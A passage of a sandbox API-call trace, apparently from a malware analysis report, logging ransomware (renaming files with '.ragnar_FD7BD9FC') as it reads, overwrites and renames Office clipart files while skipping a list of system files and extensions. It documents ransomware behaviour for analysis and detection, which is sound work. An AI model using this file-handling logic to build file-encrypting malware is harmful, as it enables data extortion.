dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.702] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1075e, lpOverlapped=0x0) returned 1 [0091.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.704] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1075e, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.704] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1075e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1075e, lpOverlapped=0x0) returned 1 [0091.704] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1075e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.704] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1075e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.705] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.705] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.705] GetProcessHeap () returned 0x580000 [0091.705] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.705] CloseHandle (hObject=0xf4) returned 1 [0091.705] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" [0091.705] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.ragnar_FD7BD9FC" [0091.705] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0091.706] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.706] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01560_.WMF" | out: lpString1="SO01560_.WMF") returned="SO01560_.WMF" [0091.706] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF") returned=".WMF" [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="autorun.inf") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="boot.ini") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="bootfont.bin") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="bootsect.bak") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="bootmgr") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="bootmgr.efi") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="desktop.ini") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="iconcache.db") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="ntldr") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="ntuser.dat") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="ntuser.ini") returned 1 [0091.706] lstrcmpiW (lpString1="SO01560_.WMF", lpString2="thumbs.db") returned -1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.707] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf")) returned 0x20 [0091.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.707] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17328) returned 1 [0091.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.707] GetProcessHeap () returned 0x580000 [0091.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.707] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.709] VirtualAlloc (lpAddress=0x0, dwSize=0x43b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.709] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43b0, lpOverlapped=0x0) returned 1 [0091.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.710] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.710] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43b0, lpOverlapped=0x0) returned 1 [0091.710] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.711] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.711] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.711] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.711] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.711] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.711] GetProcessHeap () returned 0x580000 [0091.711] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.711] CloseHandle (hObject=0xf4) returned 1 [0091.711] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" [0091.711] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.ragnar_FD7BD9FC" [0091.711] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.712] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0091.712] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.712] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01561_.WMF" | out: lpString1="SO01561_.WMF") returned="SO01561_.WMF" [0091.712] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF") returned=".WMF" [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="autorun.inf") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="boot.ini") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="bootfont.bin") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="bootsect.bak") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="bootmgr") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="bootmgr.efi") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="desktop.ini") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="iconcache.db") returned 1 [0091.712] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="ntldr") returned 1 [0091.713] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="ntuser.dat") returned 1 [0091.713] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.713] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="ntuser.ini") returned 1 [0091.713] lstrcmpiW (lpString1="SO01561_.WMF", lpString2="thumbs.db") returned -1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.713] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf")) returned 0x20 [0091.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.713] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23000) returned 1 [0091.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.713] GetProcessHeap () returned 0x580000 [0091.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.713] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.716] VirtualAlloc (lpAddress=0x0, dwSize=0x59d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.716] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x59d8, lpOverlapped=0x0) returned 1 [0091.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.717] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.718] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x59d8, lpOverlapped=0x0) returned 1 [0091.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.718] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.718] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.718] GetProcessHeap () returned 0x580000 [0091.718] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.718] CloseHandle (hObject=0xf4) returned 1 [0091.719] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" [0091.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.ragnar_FD7BD9FC" [0091.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0091.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.719] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01563_.WMF" | out: lpString1="SO01563_.WMF") returned="SO01563_.WMF" [0091.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF") returned=".WMF" [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="autorun.inf") returned 1 [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="boot.ini") returned 1 [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="bootfont.bin") returned 1 [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="bootsect.bak") returned 1 [0091.719] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="bootmgr") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="bootmgr.efi") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="desktop.ini") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="iconcache.db") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="ntldr") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="ntuser.dat") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="ntuser.ini") returned 1 [0091.720] lstrcmpiW (lpString1="SO01563_.WMF", lpString2="thumbs.db") returned -1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.720] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf")) returned 0x20 [0091.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.721] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30154) returned 1 [0091.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x75c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.721] GetProcessHeap () returned 0x580000 [0091.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.721] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.723] VirtualAlloc (lpAddress=0x0, dwSize=0x75ca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.723] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x75ca, lpOverlapped=0x0) returned 1 [0091.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x75ca, nNumberOfBytesToLockHigh=0x0) returned 1 